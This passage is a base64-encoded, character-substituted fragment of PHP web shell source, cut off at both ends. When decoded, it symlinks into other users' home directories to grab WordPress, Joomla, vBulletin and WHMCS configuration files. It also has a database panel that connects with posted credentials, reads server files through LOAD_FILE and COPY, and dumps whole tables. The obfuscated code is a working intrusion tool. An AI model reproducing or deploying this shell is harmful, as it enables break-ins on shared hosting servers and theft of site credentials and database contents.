UlJbGxJbD0kSUlJSUlJSUlsbElJWzBdOw0KJElJSUlJSUlJbGxJNj0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL3ZiLzRuY2wzZDVzL2MybmY0Zy5waHAnOw0KJElJSUlJSUlJbGxsST1nNXRfaDUxZDVycygkSUlJSUlJSUlsbEk2KTsNCiRJSUlJSUlJSWxsbGw9JElJSUlJSUlJbGxsSVswXTsNCiRJSUlJSUlJSWxsbDY9JElJSUlJSUlJSUlJbC4nL3N5bS9yMjJ0L2gybTUvJy4kSUlJSUlJSUlJNkk2WyduMW01J10uJy9wM2JsNGNfaHRtbC9mMnIzbS80bmNsM2Q1cy9jMm5mNGcucGhwJzsNCiRJSUlJSUlJSWxsNkk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbGxsNik7DQokSUlJSUlJSUlsbDZsPSRJSUlJSUlJSWxsNklbMF07DQokSUlJSUlJSUlsbDY2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLidwM2JsNGNfaHRtbC9jbDQ1bnRzL2MybmY0ZzNyMXQ0Mm4ucGhwJzsNCiRJSUlJSUlJSWw2SUk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbGw2Nik7DQokSUlJSUlJSUlsNklsPSRJSUlJSUlJSWw2SUlbMF07DQokSUlJSUlJSUlsNkk2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvczNwcDJydC9jMm5mNGczcjF0NDJuLnBocCc7DQokSUlJSUlJSUlsNklJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSWw2STYpOw0KJElJSUlJSUlJbDZsST0kSUlJSUlJSUlsNklJWzBdOw0KJElJSUlJSUlJbDZsbD0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL2NsNDVudC9jMm5mNGczcjF0NDJuLnBocCc7DQokSUlJSUlJSUlsNmw2PWc1dF9oNTFkNXJzKCRJSUlJSUlJSWw2bGwpOw0KJElJSUlJSUlJbDY2ST0kSUlJSUlJSUlsNmw2WzBdOw0KJElJSUlJSUlJbDY2bD0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL3MzYm00dHQ0Y2s1dC5waHAnOw0KJElJSUlJSUlJbDY2Nj1nNXRfaDUxZDVycygkSUlJSUlJSUlsNjZsKTsNCiRJSUlJSUlJSTZJSUk9JElJSUlJSUlJbDY2NlswXTsNCiRJSUlJSUlJSTZJSWw9JElJSUlJSUlJSUlJbC4nL3N5bS9yMjJ0L2gybTUvJy4kSUlJSUlJSUlJNkk2WyduMW01J10uJy9wM2JsNGNfaHRtbC9jbDQ1bnQvYzJuZjRnM3IxdDQybi5waHAnOw0KJElJSUlJSUlJNklJNj1nNXRfaDUxZDVycygkSUlJSUlJSUk2SUlsKTsNCiRJSUlJSUlJSTZJbEk9JElJSUlJSUlJNklJNlswXTsNCiRJSUlJSUlJSTZJbGwgPSBzdHJwMnMoJElJSUlJSUlJSTY2bCwnYTAwJyk7DQokSUlJSUlJSUk2STZJPScmbmJzcDsnOw0KNGYgKHN0cnAycygkSUlJSUlJSUlJNjZsLCdhMDAnKSA9PSB0cjM1ICkNCnsNCiRJSUlJSUlJSTZJNkk9IjwxIGhyNWY9JyIuJElJSUlJSUlJSTZsNi4iJyB0MXJnNXQ9J19ibDFuayc+VzJyZHByNXNzPC8xPiI7DQp9DQo1bHM1NGYgKHN0cnAycygkSUlJSUlJSUlsSUlsLCdhMDAnKSA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2ST0iPDEgaHI1Zj0nIi4kSUlJSUlJSUlJNjY2LiInIHQxcmc1dD0nX2JsMW5rJz5XMnJkcHI1c3M8LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWxJbGwsJ2EwMCcpICA9PSB0cjM1IDFuZCBzdHJwMnMoJElJSUlJSUlJNklJSSwnYTAwJykgID09IHRyMzUgKQ0Kew0KJElJSUlJSUlJNkk2ST0iIDwxIGhyNWY9JyIuJElJSUlJSUlJbDY2bC4iJyB0MXJnNXQ9J19ibDFuayc+V0hNQ1M8LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWw2bEksJ2EwMCcpICA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2SSA9IiA8MSBocjVmPSciLiRJSUlJSUlJSWw2STYuIicgdDFyZzV0PSdfYmwxbmsnPldITUNTPC8xPiI7DQp9DQo1bHM1NGYgKHN0cnAycygkSUlJSUlJSUlsNjZJLCdhMDAnKSAgPT0gdHIzNSkNCnsNCiRJSUlJSUlJSTZJNkkgPSIgPDEgaHI1Zj0nIi4kSUlJSUlJSUlsNmxsLiInIHQxcmc1dD0nX2JsMW5rJz5XSE1DUzwvMT4iOw0KfQ0KNWxzNTRmIChzdHJwMnMoJElJSUlJSUlJbElsbCwnYTAwJykgID09IHRyMzUpDQp7DQokSUlJSUlJSUk2STZJPSIgPDEgaHI1Zj0nIi4kSUlJSUlJSUlsSUk2LiInIHQxcmc1dD0nX2JsMW5rJz5KMjJtbDE8LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWxJNmwsJ2EwMCcpICA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2ST0iIDwxIGhyNWY9JyIuJElJSUlJSUlJbElsNi4iJyB0MXJnNXQ9J19ibDFuayc+SjIybWwxPC8xPiI7DQp9DQo1bHM1NGYgKHN0cnAycygkSUlJSUlJSUlsbElsLCdhMDAnKSAgPT0gdHIzNSkNCnsNCiRJSUlJSUlJSTZJNkk9IiA8MSBocjVmPSciLiRJSUlJSUlJSWxJNjYuIicgdDFyZzV0PSdfYmwxbmsnPnZCM2xsNXQ0bjwvMT4iOw0KfQ0KNWxzNTRmIChzdHJwMnMoJElJSUlJSUlJbGxsbCwnYTAwJykgID09IHRyMzUpDQp7DQokSUlJSUlJSUk2STZJPSIgPDEgaHI1Zj0nIi4kSUlJSUlJSUlsbEk2LiInIHQxcmc1dD0nX2JsMW5rJz52QjNsbDV0NG48LzE+IjsNCn0NCjVsczU0ZiAoc3RycDJzKCRJSUlJSUlJSWxsNmwsJ2EwMCcpICA9PSB0cjM1KQ0Kew0KJElJSUlJSUlJNkk2ST0iIDwxIGhyNWY9JyIuJElJSUlJSUlJbGxsNi4iJyB0MXJnNXQ9J19ibDFuayc+dkIzbGw1dDRuPC8xPiI7DQp9DQo1bHM1DQp7DQpjMm50NG4zNTsNCn0NCiRJSUlJSUlJSTZJNmwgPSAkSUlJSUlJSUlJNkk2WyduMW01J10gOw0KNWNoMiAnPHRyPjx0ZD48MSBocjVmPWh0dHA6Ly93d3cuJy4kSUlJSUlJSUlJbDY2WzZdWzBdLicvPicuJElJSUlJSUlJSWw2Nls2XVswXS4nPC8xPjwvdGQ+DQo8dGQ+Jy4kSUlJSUlJSUk2STZJLic8L3RkPjwvdHI+JztmbDNzaCgpOw0KfQ0KfQ0KfQ0KfQ0KNWNoMiAiPC9jNW50NXI+PC90MWJsNT4iOyAgIA0KICAgIA0KIH0NCiAgICANCiAgICA1Y2gyICI8L2Q0dj4iOw0KICAgIG0xZGYyMnQ1cigpOw0KICAgIA0KfSAgICANCg0KDQpmM25jdDQybiBtMWRzcWwoKQ0Kew0KICAgIA0KICAgIA0KICAgIGNsMXNzIERiQ2wxc3Mgew0KCQl2MXIgJHR5cDU7DQoJCXYxciAkbDRuazsNCgkJdjFyICRyNXM7DQoJCWYzbmN0NDJuIERiQ2wxc3MoJHR5cDUpCXsNCgkJCSR0aDRzLT50eXA1ID0gJHR5cDU7DQoJCX0NCgkJZjNuY3Q0Mm4gYzJubjVjdCgkaDJzdCwgJDNzNXIsICRwMXNzLCAkZGJuMW01KXsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJNGYoICR0aDRzLT5sNG5rID0gQG15c3FsX2Mybm41Y3QoJGgyc3QsJDNzNXIsJHAxc3MsdHIzNSkgKSByNXQzcm4gdHIzNTsNCgkJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQkkaDJzdCA9IDV4cGwyZDUoJzonLCAkaDJzdCk7DQoJCQkJCTRmKCEkaDJzdFs2XSkgJGgyc3RbNl09aXVvYTsNCgkJCQkJNGYoICR0aDRzLT5sNG5rID0gQHBnX2Mybm41Y3QoImgyc3Q9eyRoMnN0WzBdfSBwMnJ0PXskaDJzdFs2XX0gM3M1cj0kM3M1ciBwMXNzdzJyZD0kcDFzcyBkYm4xbTU9JGRibjFtNSIpICkgcjV0M3JuIHRyMzU7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIHM1bDVjdGRiKCRkYikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQk0ZiAoQG15c3FsX3M1bDVjdF9kYigkZGIpKXI1dDNybiB0cjM1Ow0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBxMzVyeSgkc3RyKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpIHsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gQG15c3FsX3EzNXJ5KCRzdHIpOw0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gQHBnX3EzNXJ5KCR0aDRzLT5sNG5rLCRzdHIpOw0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBmNXRjaCgpIHsNCgkJCSRyNXMgPSBmM25jX24zbV8xcmdzKCk/ZjNuY19nNXRfMXJnKDApOiR0aDRzLT5yNXM7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiBAbXlzcWxfZjV0Y2hfMXNzMmMoJHI1cyk7DQoJCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJcjV0M3JuIEBwZ19mNXRjaF8xc3MyYygkcjVzKTsNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gbDRzdERicygpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cTM1cnkoIlNIT1cgZDF0MWIxczVzIik7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgiU0VMRUNUIGQxdG4xbTUgRlJPTSBwZ19kMXQxYjFzNSBXSEVSRSBkMXQ0c3Q1bXBsMXQ1IT0ndCciKTsNCgkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBsNHN0VDFibDVzKCkgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgnU0hPVyBUQUJMRVMnKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCJzNWw1Y3QgdDFibDVfbjFtNSBmcjJtIDRuZjJybTF0NDJuX3NjaDVtMS50MWJsNXMgd2g1cjUgdDFibDVfc2NoNW0xICE9ICc0bmYycm0xdDQybl9zY2g1bTEnIEFORCB0MWJsNV9zY2g1bTEgIT0gJ3BnX2MxdDFsMmcnIik7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gNXJyMnIoKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiBAbXlzcWxfNXJyMnIoKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiBAcGdfbDFzdF81cnIycigpOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIHM1dENoMXJzNXQoJHN0cikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQk0ZihmM25jdDQybl81eDRzdHMoJ215c3FsX3M1dF9jaDFyczV0JykpDQoJCQkJCQlyNXQzcm4gQG15c3FsX3M1dF9jaDFyczV0KCRzdHIsICR0aDRzLT5sNG5rKTsNCgkJCQkJNWxzNQ0KCQkJCQkJJHRoNHMtPnEzNXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOw0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiBAcGdfczV0X2NsNDVudF81bmMyZDRuZygkdGg0cy0+bDRuaywgJHN0cik7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIGwyMWRGNGw1KCRzdHIpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5mNXRjaCgkdGg0cy0+cTM1cnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuMWRkc2wxc2g1cygkc3RyKS4iJykgMXMgZjRsNSIpKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCSR0aDRzLT5xMzVyeSgiQ1JFQVRFIFRBQkxFIHdzMmEoZjRsNSB0NXh0KTtDT1BZIHdzMmEgRlJPTSAnIi4xZGRzbDFzaDVzKCRzdHIpLiInO3M1bDVjdCBmNGw1IGZyMm0gd3MyYTsiKTsNCgkJCQkJJHI9MXJyMXkoKTsNCgkJCQkJd2g0bDUoJDQ9JHRoNHMtPmY1dGNoKCkpDQoJCQkJCQkkcltdID0gJDRbJ2Y0bDUnXTsNCgkJCQkJJHRoNHMtPnEzNXJ5KCdkcjJwIHQxYmw1IHdzMmEnKTsNCgkJCQkJcjV0M3JuIDFycjF5KCdmNGw1Jz0+NG1wbDJkNSgiXG4iLCRyKSk7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gZDNtcCgkdDFibDUsICRmcCA9IGYxbHM1KSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCSRyNXMgPSAkdGg0cy0+cTM1cnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0MWJsNS4nYCcpOw0KCQkJCQkkY3I1MXQ1ID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHI1cyk7DQoJCQkJCSRzcWwgPSAkY3I1MXQ1WzZdLiI7XG4iOw0KICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQoJCQkJCSR0aDRzLT5xMzVyeSgnU0VMRUNUICogRlJPTSBgJy4kdDFibDUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSB0cjM1Ow0KCQkJCQl3aDRsNSgkNHQ1bSA9ICR0aDRzLT5mNXRjaCgpKSB7DQoJCQkJCQkkYzJsM21ucyA9IDFycjF5KCk7DQoJCQkJCQlmMnI1MWNoKCQ0dDVtIDFzICRrPT4kdikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCR2ID09IG4zbGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICJOVUxMIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoNHNfbjNtNXI0YygkdikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICR2Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW1bJGtdID0gIiciLkBteXNxbF9yNTFsXzVzYzFwNV9zdHI0bmcoJHYpLiInIjsNCgkJCQkJCQkkYzJsM21uc1tdID0gImAiLiRrLiJgIjsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRoNTFkKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyBgJy4kdDFibDUuJ2AgKCcuNG1wbDJkNSgiLCAiLCAkYzJsM21ucykuIikgVkFMVUVTIFxuXHQoIi40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSBmMWxzNTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAiXG5cdCwoIi40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQoJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgNGYoISRoNTFkKQ0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAiO1xuXG4iKTsgNWxzNSA1Y2gyKCI7XG5cbiIpOw0KCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJJHRoNHMtPnEzNXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHQxYmw1KTsNCgkJCQkJd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgew0KCQkJCQkJJGMybDNtbnMgPSAxcnIxeSgpOw0KCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkaz0+JHYpIHsNCgkJCQkJCQkkNHQ1bVska10gPSAiJyIuMWRkc2wxc2g1cygkdikuIiciOw0KCQkJCQkJCSRjMmwzbW5zW10gPSAkazsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gJy4kdDFibDUuJyAoJy40bXBsMmQ1KCIsICIsICRjMmwzbW5zKS4nKSBWQUxVRVMgKCcuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyk7Jy4iXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KCQkJCQl9DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgl9Ow0KCSRkYiA9IG41dyBEYkNsMXNzKCRfUE9TVFsndHlwNSddKTsNCgk0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7DQoJCSRkYi0+YzJubjVjdCgkX1BPU1RbJ3NxbF9oMnN0J10sICRfUE9TVFsnc3FsX2wyZzRuJ10sICRfUE9TVFsnc3FsX3Axc3MnXSwgJF9QT1NUWydzcWxfYjFzNSddKTsNCgkJJGRiLT5zNWw1Y3RkYigkX1BPU1RbJ3NxbF9iMXM1J10pOw0KICAgICAgICBzdzR0Y2goJF9QT1NUWydjaDFyczV0J10pIHsNCiAgICAgICAgICAgIGMxczUgIlc0bmQyd3MtNmFpNiI6ICRkYi0+czV0Q2gxcnM1dCgnY3A2YWk2Jyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiVVRGLTgiOiAkZGItPnM1dENoMXJzNXQoJzN0ZjgnKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJLT0k4LVIiOiAkZGItPnM1dENoMXJzNXQoJ2syNDhyJyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiS09JOC1VIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4MycpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgImNwOGVlIjogJGRiLT5zNXRDaDFyczV0KCdjcDhlZScpOyBicjUxazsNCiAgICAgICAgfQ0KICAgICAgICA0Zig1bXB0eSgkX1BPU1RbJ2Y0bDUnXSkpIHsNCiAgICAgICAgICAgIDJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsNCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9ZDNtcC5zcWwiKTsNCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1UeXA1OiB0NXh0L3BsMTRuIik7DQogICAgICAgICAgICBmMnI1MWNoKCRfUE9TVFsndGJsJ10gMXMgJHYpDQoJCQkJJGRiLT5kM21wKCR2KTsNCiAgICAgICAgICAgIDV4NHQ7DQogICAgICAgIH0gNWxzNTRmKCRmcCA9IEBmMnA1bigkX1BPU1RbJ2Y0bDUnXSwgJ3cnKSkgew0KICAgICAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KQ0KICAgICAgICAgICAgICAgICRkYi0+ZDNtcCgkdiwgJGZwKTsNCiAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgM25zNXQoJF9QT1NUWydwYSddKTsNCiAgICAgICAgfSA1bHM1DQogICAgICAgICAgICBkNDUoJzxzY3I0cHQ+MWw1cnQoIkVycjJyISBDMW5cJ3QgMnA1biBmNGw1Iik7dzRuZDJ3Lmg0c3QycnkuYjFjaygtNik8L3NjcjRwdD4nKTsNCgl9DQoJbTFkaDUxZCgpOw0KCTVjaDIgIg0KPGQ0diBjbDFzcz1oNTFkNXI+DQo8ZjJybSBuMW01PSdzZicgbTV0aDJkPSdwMnN0JyAybnMzYm00dD0nZnModGg0cyk7Jz48dDFibDUgYzVsbHAxZGQ0bmc9J2EnIGM1bGxzcDFjNG5nPScwJz48dHI+DQo8dGQ+VHlwNTwvdGQ+PHRkPkgyc3Q8L3RkPjx0ZD5MMmc0bjwvdGQ+PHRkPlAxc3N3MnJkPC90ZD48dGQ+RDF0MWIxczU8L3RkPjx0ZD48L3RkPjwvdHI+PHRyPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT1TcWw+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDYgdjFsMzU9J3EzNXJ5Jz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYSB2MWwzNT0nJz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9JyIuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpIC4iJz4NCjx0ZD48czVsNWN0IG4xbTU9J3R5cDUnPjwycHQ0Mm4gdjFsMzU9J215c3FsJyAiOw0KICAgIDRmKEAkX1BPU1RbJ3R5cDUnXT09J215c3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdwZ3NxbCcgIjsNCjRmKEAkX1BPU1RbJ3R5cDUnXT09J3Bnc3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+UDJzdGdyNVNxbDwvMnB0NDJuPjwvczVsNWN0PjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9oMnN0IHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfaDJzdCddKT8nbDJjMWxoMnN0JzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnc3FsX2gyc3QnXSkpIC4iJz48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfbDJnNG4gdjFsMzU9JyIuICg1bXB0eSgkX1BPU1RbJ3NxbF9sMmc0biddKT8ncjIydCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9sMmc0biddKSkgLiInPjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9wMXNzIHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfcDFzcyddKT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnc3FsX3Axc3MnXSkpIC4iJz48L3RkPjx0ZD4iOw0KCSR0bXAgPSAiPDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9iMXM1IHYxbDM1PScnPiI7DQoJNGYoNHNzNXQoJF9QT1NUWydzcWxfaDJzdCddKSl7DQoJCTRmKCRkYi0+YzJubjVjdCgkX1BPU1RbJ3NxbF9oMnN0J10sICRfUE9TVFsnc3FsX2wyZzRuJ10sICRfUE9TVFsnc3FsX3Axc3MnXSwgJF9QT1NUWydzcWxfYjFzNSddKSkgew0KCQkJc3c0dGNoKCRfUE9TVFsnY2gxcnM1dCddKSB7DQoJCQkJYzFzNSAiVzRuZDJ3cy02YWk2IjogJGRiLT5zNXRDaDFyczV0KCdjcDZhaTYnKTsgYnI1MWs7DQoJCQkJYzFzNSAiVVRGLTgiOiAkZGItPnM1dENoMXJzNXQoJzN0ZjgnKTsgYnI1MWs7DQoJCQkJYzFzNSAiS09JOC1SIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4cicpOyBicjUxazsNCgkJCQljMXM1ICJLT0k4LVUiOiAkZGItPnM1dENoMXJzNXQoJ2syNDgzJyk7IGJyNTFrOw0KCQkJCWMxczUgImNwOGVlIjogJGRiLT5zNXRDaDFyczV0KCdjcDhlZScpOyBicjUxazsNCgkJCX0NCgkJCSRkYi0+bDRzdERicygpOw0KCQkJNWNoMiAiPHM1bDVjdCBuMW01PXNxbF9iMXM1PjwycHQ0Mm4gdjFsMzU9Jyc+PC8ycHQ0Mm4+IjsNCgkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgpKSB7DQoJCQkJbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7DQoJCQkJNWNoMiAnPDJwdDQybiB2MWwzNT0iJy4kdjFsMzUuJyIgJy4oJHYxbDM1PT0kX1BPU1RbJ3NxbF9iMXM1J10/J3M1bDVjdDVkJzonJykuJz4nLiR2MWwzNS4nPC8ycHQ0Mm4+JzsNCgkJCX0NCgkJCTVjaDIgJzwvczVsNWN0Pic7DQoJCX0NCgkJNWxzNSA1Y2gyICR0bXA7DQoJfTVsczUNCgkJNWNoMiAkdG1wOw0KCTVjaDIgIjwvdGQ+DQoJCQkJPHRkPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nIDJuY2w0Y2s9J2ZzKGQuc2YpOyc+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1zcWxfYzIzbnQgdjFsMzU9JzJuJyIgLiAoNW1wdHkoJF9QT1NUWydzcWxfYzIzbnQnXSk/Jyc6JyBjaDVjazVkJykgLiAiPiBjMjNudCB0aDUgbjNtYjVyIDJmIHIyd3M8L3RkPg0KCQkJPC90cj4NCgkJPC90MWJsNT4NCgkJPHNjcjRwdD4NCiAgICAgICAgICAgIHNfZGI9JyIuQDFkZHNsMXNoNXMoJF9QT1NUWydzcWxfYjFzNSddKS4iJzsNCiAgICAgICAgICAgIGYzbmN0NDJuIGZzKGYpIHsNCiAgICAgICAgICAgICAgICA0ZihmLnNxbF9iMXM1LnYxbDM1IT1zX2RiKSB7IGYuMm5zM2JtNHQgPSBmM25jdDQybigpIHt9Ow0KICAgICAgICAgICAgICAgICAgICA0ZihmLnA2KSBmLnA2LnYxbDM1PScnOw0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBhKSBmLnBhLnYxbDM1PScnOw0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBvKSBmLnBvLnYxbDM1PScnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCgkJCWYzbmN0NDJuIHN0KHQsbCkgew0KCQkJCWQuc2YucDYudjFsMzUgPSAnczVsNWN0JzsNCgkJCQlkLnNmLnBhLnYxbDM1ID0gdDsNCiAgICAgICAgICAgICAgICA0ZihsICYmIGQuc2YucG8pIGQuc2YucG8udjFsMzUgPSBsOw0KCQkJCWQuc2YuczNibTR0KCk7DQo